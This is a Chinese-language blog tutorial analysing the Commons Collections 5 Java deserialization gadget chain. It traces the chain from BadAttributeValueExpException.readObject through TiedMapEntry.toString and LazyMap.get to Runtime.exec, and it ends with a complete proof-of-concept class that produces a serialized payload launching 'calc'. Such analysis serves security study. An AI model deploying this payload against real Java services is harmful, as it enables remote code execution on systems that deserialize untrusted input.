[Java反序列化]—CommonsCollections5

对比

CC5其实就是CC1的一种变形,CC1是通过AnnotationInvocationHandler.invoke()获取get(),而CC5则是通过TiedMapEntry.toString(),其余部分都是一样的

可以前后对比下

CC1:

		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

CC5:

        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

分析

先看下TiedMapEntry中如何调用的get()

本类中有个toString()方法调用了getValue()

public String toString() {
    return getKey() + "=" + getValue();
}

getValue()中调用了get()

public Object getValue() {
    return map.get(key);
}

再通过构造器将map赋为LazyMap即可回到CC1的后半部分

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

所以接下来看谁调用了toString(),在BadAttributeValueExpException类中的readObject()中发现调用

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

调用的是 valObj.toString();,所以现在要做的就是如何将valobj构造成TiedMapEntry,看下valobj从哪来的

ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

先调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。

所以可以通过修改val的值,来修改valobj,而val是本类中的一个私有属性,直接反射修改即可

private Object val;

现在就理清楚了,构造一下跟CC1不同的部分

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

先实例化一下这个类,后边传参的值为null,因为在它的构造方法中,若不为null则会调用val.toString(),这就相当于在反序列化前就提前触发toString了

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}

接着通过反射将val的值修改为TiedMapEntry

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment");
Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
Field val = badAttributeValueExpExceptionClass.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

POC

package CommonsCollections5;

import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, NoSuchFieldException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment");
        Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
        Field val = badAttributeValueExpExceptionClass.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("1.txt");

    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}


你可能感兴趣的:(Java,java,开发语言)